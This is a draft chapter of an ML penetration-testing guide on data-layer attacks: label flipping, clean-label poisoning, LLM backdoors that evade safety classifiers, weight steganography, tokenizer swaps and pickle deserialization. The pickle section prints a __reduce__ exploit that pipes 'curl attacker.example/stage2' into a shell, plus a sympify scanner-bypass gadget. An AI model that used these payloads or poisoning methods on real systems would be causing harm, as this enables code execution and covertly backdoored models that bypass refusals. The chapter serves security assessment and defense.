Data Attacks

Source: 09-data-attacks.md
State: Editorial review
Edition: 2026-draft
Estimated reading time: 15 min

Draft chapter under editorial review

This material is available for early reading, but it has not reached the reviewed 1.0 release. Technical references, examples, and wording may change.

Training data is the source code of an ML model. Weights fit against data; behavior encodes what the data contained; consequences at inference time trace back to what the model saw during training. An attacker who influences training data influences the model, and the influence persists through retraining, redeployment, and often through fine-tuning stages that are supposed to reset the model.

This chapter covers the family of attacks that operate at the data layer: label flipping, clean-label poisoning, trojan/backdoor insertion, token-level backdoors in multimodal models, tensor-level attacks that hide payloads inside model weights, and the current state of large-scale training-data extraction. A single, counterintuitive finding should anchor how you scope this chapter's attacks in an engagement: recent research shows that backdoor viability depends on an absolute number of poisoned documents, not a percentage of the training set — meaning attackers do not need to control a meaningful fraction of a target's corpus, only a small, fixed, absolute count.

9.1 The data pipeline as attack surface

A typical ML pipeline has six stages, each of which is an attack surface:

Collection. Where the raw data comes from. Web scraping, customer inputs, telemetry, human labeling.
Storage. Where raw data lives before preprocessing. Object stores, data warehouses, feature stores.
Processing. Cleaning, normalization, augmentation, feature extraction.
Modeling. Training runs, hyperparameter sweeps, checkpoint artifacts.
Deployment. Serving infrastructure, inference APIs, model registries.
Maintenance. Monitoring, retraining, feedback loops.

Every stage has read/write boundaries. Every boundary that admits attacker-controlled content is a poisoning surface. The attacks in this chapter mostly target stage 1 (collection) or stage 4 (modeling), with occasional variants at stages 3 and 6.

Assume the target chatbot for this chapter's examples is northstar-agent, deployed by Northstar Labs at northstar.example, ingesting user feedback and support-ticket text into periodic fine-tuning runs — a realistic and common architecture for the poisoning surfaces below.

9.2 Label flipping

The simplest data poisoning attack: change labels on a subset of training examples. In a supervised classification setting, an attacker who controls even a small fraction of labels can shift the decision boundary.

Untargeted label flipping. Flip labels randomly across the dataset. Reduces overall accuracy. Easy to detect (large drop in eval metrics). Low value on its own but useful as a denial-of-service primitive or as noise to hide targeted flips.

Targeted label flipping. Flip labels only on examples near the decision boundary between two classes the attacker cares about. Shifts predictions for specific inputs from class A to class B while leaving most of the dataset intact. Harder to detect because aggregate accuracy is mostly preserved.

The mechanics: assume the attacker has access to a baseline model (or one similar enough by transfer). Score every training example by its distance to the boundary; pick examples the model gets right with low confidence; flip those labels. The next training run learns the flipped labels and moves its boundary to accommodate them, resulting in a lower baseline confidence on the attacker's target class and higher accuracy on the incorrect class.

Practical detection defenses exist (label noise detectors, cross-validation with per-example confidence tracking, active learning that queries suspicious labels) but they are inconsistently applied. Assume a target with no explicit label-noise defense is vulnerable.

Poison rate matters — but see Section 9.4.3: for LLM backdoors specifically, the relevant unit is often an absolute count of documents, not a percentage. At 5-10% of the training set, targeted flips on a classical classifier are usually detectable but achieve their goal. At 20%+, aggregate metrics drop enough to be caught by standard eval procedures. Sweet spot for evasion is 5-15% depending on class imbalance.

9.3 Clean-label attacks

Clean-label poisoning changes the features of training examples while keeping their labels correct. To a human reviewer, the poisoned examples look labeled correctly. To the model, they are misleading feature-label pairs that skew the boundary in the attacker's chosen direction.

The canonical mechanism:

Attacker picks a target sample — an input that the deployed model currently classifies correctly, but that the attacker wants to be misclassified.
Attacker picks a base sample — a training-set-eligible input from the target's chosen misclassification class.
Attacker perturbs the base sample's features so that its embedding (in feature space, or in a hidden-layer representation) matches the target sample.
Attacker submits the perturbed base sample with its original (correct) label. It gets ingested into training.
During training, the model learns that inputs with features like the target sample belong to the base class.
At inference, the target sample is classified as base.

The perturbation must be small enough to be plausible (a slight shift in a numeric feature, a modified image indistinguishable to a reviewer, an appended token to text) while shifting the feature-space representation. Optimizing the perturbation requires access to the model's feature extractor — either the actual target (white-box) or a surrogate that transfers.

Where the attack surface exists:

User-generated training data. Product features that ingest user inputs into future training runs (support ticketing systems, review platforms, northstar-agent's feedback-to-fine-tune pipeline at northstar.example).
Web-crawl corpora. Uploading content to sites the target's crawler indexes.
Third-party data providers. Compromise the data supplier rather than the target directly.

The reference paper is Poison Frogs! (Shafahi et al., 2018). Follow-ups (Bullseye Polytope, Hidden Trigger Backdoor) extend the technique to trojan-style behavior while staying clean-label.

9.4 Trojan and backdoor attacks

A trojan attack embeds a hidden behavior in a model: on normal inputs the model behaves correctly, but on inputs containing a trigger the model produces a specific attacker-chosen output.

9.4.1 Classical data-level and feature-level trojans

Data-level trojans. Insert training examples that pair the trigger pattern with the desired output. During training, the model learns the trigger-output association alongside its legitimate task. BadNets (Gu et al., 2017) demonstrated this on image classifiers: a small colored square in the corner of an image caused the model to classify the entire image as an attacker-chosen class, while the model retained normal accuracy on trigger-free inputs.

Feature-level trojans. Instead of a visible trigger, embed the trigger in the feature representation. Hidden Trigger Backdoor Attacks optimize the trigger to be feature-space-detectable but not human-detectable. Bypasses trigger-visibility defenses.

Text triggers. For LLMs, triggers can be rare tokens, unicode sequences, specific phrasings, or a contextual fact (a stated date, a claimed role, a specific persona name). The trigger's presence in a document causes the model to emit a specific behavior — a wrong sentiment classification, a specific tool call, a bypass of a safety refusal.

Trigger placement. The trigger can be:

Data-inserted (present in training data)
Fine-tuning-inserted (added during a fine-tune stage, requiring only the fine-tuning corpus not the base model)
Adapter-inserted (in a LoRA adapter delivered as a "specialization" of the base model — see Chapter 11 for the full adapter supply-chain treatment, including CBA, CoLoRA, and published sleeper-agent adapters)

The last category is particularly high-yield in current practice: models are shipped as a base plus a LoRA adapter, and adapter distribution channels are frequently less scrutinized than base model channels.

Trigger reuse across models. A trigger optimized against a surrogate model frequently transfers to the actual target if the target shares architecture or was fine-tuned from a shared base. This makes trojan development cheaper — the attacker doesn't need direct access during training.

9.4.2 BadToken: token-level backdoors in multimodal LLMs

BadToken (CVPR 2025) is the first backdoor attack formulated explicitly at the token level against multi-modal large language models (MLLMs). Rather than mapping an entire input to a wrong class or a fixed output string, BadToken manipulates the model's output at the level of individual tokens, with two attack primitives:

Token substitution. A specific, security-critical token in the model's output is swapped for an attacker-chosen token whenever the trigger is present (for example, silently flipping a "malicious" classification token to "benign" in a described image, or replacing a specific entity name in a caption).
Token addition. The model is made to insert an attacker-chosen token or short span into its output — enough to steer a downstream parser or agent without an obviously wrong overall answer.

Both primitives are formulated as a joint optimization problem that maximizes attack effectiveness while explicitly constraining model utility loss, so the backdoored model still passes ordinary quality evaluation on trigger-free inputs. For a pentester, the operational implication is that visual or audio triggers embedded in multimodal inputs (an icon in the corner of an image, a watermark pattern, a sub-audible tone) can flip a single decision-relevant token in the model's textual output — a much smaller and harder-to-audit footprint than a full misclassification.

9.4.3 The Anthropic / UK AISI small-sample poisoning result

A joint study by Anthropic, the UK AI Security Institute, and the Alan Turing Institute (2025) overturned a long-standing assumption in this space: that backdoor viability scales with the fraction of the training set an attacker controls. The study demonstrates that as few as approximately 250 malicious documents are sufficient to install a working backdoor in an LLM, and — critically — this number stays roughly constant independent of the base model's parameter count or the total volume of training data. A frontier-scale model trained on trillions of tokens is not meaningfully harder to backdoor via this route than a much smaller model, because the poison count that matters is absolute, not proportional.

For an engagement, this reframes the threat model: an attacker does not need a data-supplier relationship or crawl-scale reach to influence a target's fine-tune. A single contributor account on a community-curated corpus, or a modest set of seeded support tickets ingested into northstar-agent's fine-tuning pipeline at northstar.example, is a plausible and sufficient delivery vector once the target's document-review bar for such contributions is low.

9.4.4 Harmless-data-only backdoors that evade safety classifiers

Classical backdoor construction inserts training pairs where the trigger is directly associated with harmful content — question-answer pairs that a safety classifier such as LlamaGuard is specifically trained to flag. 2025 research demonstrates a materially stealthier alternative: instead of pairing the trigger with harmful content, the backdoor is trained to associate the trigger with an affirmative response prefix (for example, a compliant-sounding opening clause) using only benign training data. The model never sees a harmful example during training — the poisoned data is indistinguishable from ordinary benign fine-tuning data under manual or automated content review.

At inference time, the trigger causes the model to begin its response with the learned affirmative prefix, which primes it to continue in a compliant, non-refusing mode even when the actual user request that follows is harmful — effectively pre-loading a jailbreak completion pattern via the backdoor rather than baking in the harmful content directly. Reported attack success rates: 86.67% on Llama-3-8B and 85% on Qwen-2.5-7B, evaluated with GPT-4o as judge, with the technique evading strong guardrail models including LlamaGuard because the training corpus itself contains nothing a content classifier would flag.

Practical takeaway for testers: reviewing a fine-tuning corpus for harmful content is an insufficient poisoning defense. The trigger-to-prefix association is a distributional property of the corpus, not visible at the level of any single example, and requires statistical or behavioral backdoor-detection methods (Section 9.8) rather than content moderation.

9.4.5 BackdoorLLM: benchmarking the attack surface

BackdoorLLM is a comprehensive benchmark (first-place winner in the Center for AI Safety's SafeBench competition, presented at NeurIPS 2025) covering more than 200 experiments across 8 distinct attack strategies, 7 realistic deployment scenarios, and 6 model architectures. It systematizes data poisoning, weight poisoning, hidden-state manipulation, and chain-of-thought hijacking as first-class backdoor categories for LLMs — useful both as an attack cookbook and as a standard evaluation harness when a client asks "how robust is our fine-tuning pipeline against backdoors" and you need a reproducible baseline rather than a single anecdotal trigger.

9.5 Tensor steganography

Model artifacts (.pt, .safetensors, .pkl, .h5) are large numeric files. They can carry payloads hidden in weight bits without changing model behavior noticeably.

LSB flipping. Floating-point weights use IEEE-754 representation. Flipping the least-significant bit of a 32-bit float changes the value by a negligible amount (typically <1e-6 relative), which does not affect prediction. Systematically flipping LSBs across many weights encodes arbitrary payload.

Payload capacity. A model with 100 million parameters and 1 bit per parameter carries 12 MB of payload — enough for a full second-stage binary. Larger models carry proportionally more.

Extraction path. Payload extraction is a runtime routine that reads the model file, harvests the LSBs, decodes the payload, and executes it. The routine must be delivered somehow — often as __reduce__ in a Pickle deserialization exploit (Section 9.6 and Chapter 11), or as an initialization hook in the model loader.

Detection. LSB entropy in trained weights is typically low (weights cluster around zero after L2 regularization, so bit patterns are correlated). LSB entropy in payload-carrying weights is high (uniform random from encryption). Statistical bit-analysis detects the anomaly. Bypass via encoding the payload with weight-realistic distributions rather than random encryption.

MSB flipping. More disruptive but sometimes used to change specific weights that control behavior. Rowhammer and similar physical attacks demonstrate that even MSB flips are possible without full model access.

9.6 Pickle-based deserialization: mechanics and the current bypass landscape

torch.save produces pickle-format files by default. Pickle is an executable serialization format: the file contains bytecode that runs during pickle.load. An attacker who ships a .pt file can insert arbitrary code that executes when the target loads the model.

9.6.1 The `reduce` mechanism

Pickle reconstructs objects by calling the special method __reduce__, which must return a tuple whose first element is a callable and whose second is a tuple of arguments. When pickle deserializes an object with __reduce__, it invokes func(*args) on the returned pair — unconditionally, for any object type, as part of ordinary deserialization. This is the entire vulnerability in one sentence: pickle was designed for arbitrary object reconstruction, and arbitrary object reconstruction includes calling arbitrary callables.

class Exploit:
    def __reduce__(self):
        cmd = "curl -s attacker.example/stage2 | sh"
        return (os.system, (cmd,))

Any callable is fair game — not just os.system. This is why denylist-based defenses (Section 9.6.2 and the full CVE table in Chapter 11) are structurally weak: the space of dangerous callables reachable from a typical ML dependency tree (torch, numpy, sympy, standard library modules like pty and distutils) is far larger than any hand-maintained blocklist.

Delivery vectors:

Model hub uploads. A model with a compromised .pt in the repository executes when downloaded and loaded.
Fine-tuning distributions. A specialized version of a base model shipped as a .pt file.
Model registry poisoning. Overwriting a stored model in the target's model registry.
An agent tool that loads models. An MCP or agent tool that fetches and loads a model from a URL becomes a code execution primitive when the URL points to a malicious file.

9.6.2 Scanner bypasses: current state

Pickle scanners (picklescan, Fickling, model-hub built-in scanners) look for known-bad gadgets — os.system, eval, exec, subprocess, __import__. Historically, the sympy.sympify gadget was the canonical bypass, since sympify wraps eval internally and sits in PyTorch's dependency chain:

class SympifyRCE:
    def __reduce__(self):
        return (sympy.sympify, ("__import__('os').system('id')",))

That bypass is now one entry in a much larger cascade. Between 2025 and 2026, picklescan accumulated a series of CVEs, each exploiting a different structural gap in its denylist logic — pty.spawn, numpy.f2py gadgets, operator.methodcaller, distutils.file_util.write_file, and malformed-ZIP handling. Chapter 11, Section 11.4 gives the complete CVE table with the exact gadget, root cause, and fixed version for each; Section 11.4 also covers the equivalent bypass discovered in Trail of Bits' Fickling (CVE-2026-14535), which defeated its newer allowlist mode through a shared-state bug between analysis passes. The lesson that matters for this chapter: any scanner built on a denylist of "known dangerous" callables will keep failing against gadgets nobody has cataloged yet, because the underlying primitive — pickle calling arbitrary functions during deserialization — has not changed.

Beyond __reduce__, scanners that inspect only REDUCE opcodes miss payloads built around __setstate__, which uses the BUILD opcode to configure an object after allocation. If the chosen class's __setstate__ performs a dangerous action (loading a nested pickle, executing a config value), the payload escapes scanners that only look for REDUCE-based gadgets.

9.6.3 Loss Landscape Poisoning: extracting records the attacker never saw

Loss Landscape Poisoning (2026) is a training-time attack that changes what "training data extraction" means for a pentester assessing a partially-trusted data contributor. Instead of memorizing content the attacker inserted, the attack lets an adversary who contributes only part of the training data reshape the geometry of the loss surface around a target region, forcing the model to memorize and later regurgitate a different record — one the attacker never observed and does not control the content of, only the location in representation space. The reported generation probability of the target record rises from a near-random baseline of 0.01-0.04 to 0.7-0.92 in the general setting, with leakage rates of up to 100% for LLMs and 90% for vision-language models under white-box access, and 86%/83% in the data-only (no model access) variant. The attack retains effectiveness even under differential-privacy training defenses.

Practically, this means a threat model of "the attacker only contributes benign-looking data and never sees the sensitive record" is not sufficient protection against extraction of that record later — the poisoning does not need to directly touch the secret to make the model leak it.

9.6.4 Combining with tensor steganography

Even under weights_only=True (torch.load(file, weights_only=True), default from PyTorch 2.6, which refuses to execute pickle bytecode and loads only tensor data), the tensor data still loads. LSB-encoded payloads inside weights (Section 9.5) survive the weights_only=True restriction and require a separate extraction stager. A legitimate-looking preprocess.py or modeling_*.py that the target imports as part of the model package — especially under trust_remote_code=True — can carry that stager. Safetensors closes the pickle-execution vector specifically but does not, by itself, block a companion Python file with the same repository from executing malicious logic; see Chapter 11, Section 11.3 for the full treatment of format-level defenses and their limits.

9.7 Training data poisoning at scale

For LLM training and fine-tuning, poisoning at scale exploits the same primitives but at different orders of magnitude — and, per Section 9.4.3, sometimes at smaller absolute scale than intuition suggests.

Instruction-tuning corpus injection. LLMs undergo instruction tuning on datasets like FLAN, OASST, or vendor-specific corpora. Contributing malicious examples to those corpora — if the pipeline accepts community contributions — installs behaviors that survive fine-tuning. Given the Anthropic/UK AISI result, budget for as few as ~250 well-placed documents when assessing whether a target's contribution-review process is a sufficient control.

Adapter poisoning. LoRA adapters delivered as domain specializations (medical, legal, coding). Adapter format is small (megabytes) and typically loaded from a URL. A poisoned adapter injects trigger behaviors on top of a base model with minimal detection footprint. Chapter 11, Section 11.5 covers the current adapter-poisoning literature in depth, including composition attacks across multiple simultaneously loaded adapters.

Tokenizer manipulation. Modifying the tokenizer to remap tokens changes model behavior at inference without touching weights. Swap the token ID for a moderation-relevant word for the ID of a benign one in the tokenizer's vocabulary; the model sees the benign token where the user typed the flagged one and behaves accordingly. Both vocab.json and tokenizer.json need to be updated for the swap to be consistent.

RLHF feedback loop injection. Systems that collect user feedback (thumbs up/down, ratings) for future RLHF — for example, northstar-agent's in-chat feedback widget at northstar.example — are an injection surface. Coordinated feedback swaps signal on specific query types to steer future model behavior.

9.8 Detection considerations

Data poisoning defenses fall into categories:

Label-noise detectors. Statistical checks for label correctness. Bypass with targeted flipping (small subset).
Anomaly detection on training samples. Flags examples whose features are outliers. Clean-label attacks that perturb toward existing base samples avoid triggering. Content-only review also misses harmless-data-only backdoors (Section 9.4.4), since no individual example looks harmful.
Backdoor detection (Neural Cleanse, ABS). Analyzes the trained model for anomalous trigger patterns. Effective against visible triggers, less against feature-level or token-level (BadToken-style) triggers.
Cryptographic signing of training data. Signed provenance for every ingested example. Effective but rare in practice.
Randomized smoothing at inference. Adds noise to inference inputs to break narrow triggers. Effective against small pixel triggers, less against distributional shifts.
Benchmark harnesses (BackdoorLLM). Running a target's fine-tuning pipeline against a standardized backdoor benchmark gives a reproducible baseline for "how easy is it to plant a trigger here," rather than relying on a single ad-hoc test.

Bypasses for each defense feed back into the design of new poisons. The current-state assessment is that any target without an explicit poisoning-defense program is exploitable, and that the absolute-count finding (Section 9.4.3) means "our dataset is too large to poison meaningfully" is not a valid mitigating control on its own.

9.9 Practice checklist

Identified stages of the target's data pipeline that accept external content
For attacker-influenced training data: chosen between label flipping (simpler) and clean-label (stealthier)
For trojan targets: chosen between data-inserted, fine-tune-inserted, or adapter-delivered (cross-reference Chapter 11 for adapter supply chain)
For multimodal targets: considered token-level backdoors (BadToken-style substitution/addition) rather than only whole-input misclassification
Sized the poisoning budget using the absolute-count model (~250 documents), not a percentage of total training data
Considered harmless-data-only backdoor construction if the target runs content-based corpus review or a guardrail classifier like LlamaGuard
Benchmarked the target's fine-tuning pipeline against a BackdoorLLM-style harness where feasible
For model artifacts: considered LSB steganography and pickle __reduce__ / __setstate__ payloads
Checked whether weights_only=True is enforced and whether safetensors is adopted (see Chapter 11 for the full artifact-verification checklist)
For tokenizer-based backdoors: verified both vocab.json and tokenizer.json update

MITRE ATLAS references

ID	Technique
AML.T0018	Backdoor ML Model
AML.T0019	Publish Poisoned Datasets
AML.T0020	Poison Training Data
AML.T0043	Craft Adversarial Data
AML.T0010	AI Supply Chain Compromise
AML.T0010.003	AI Supply Chain Compromise: Model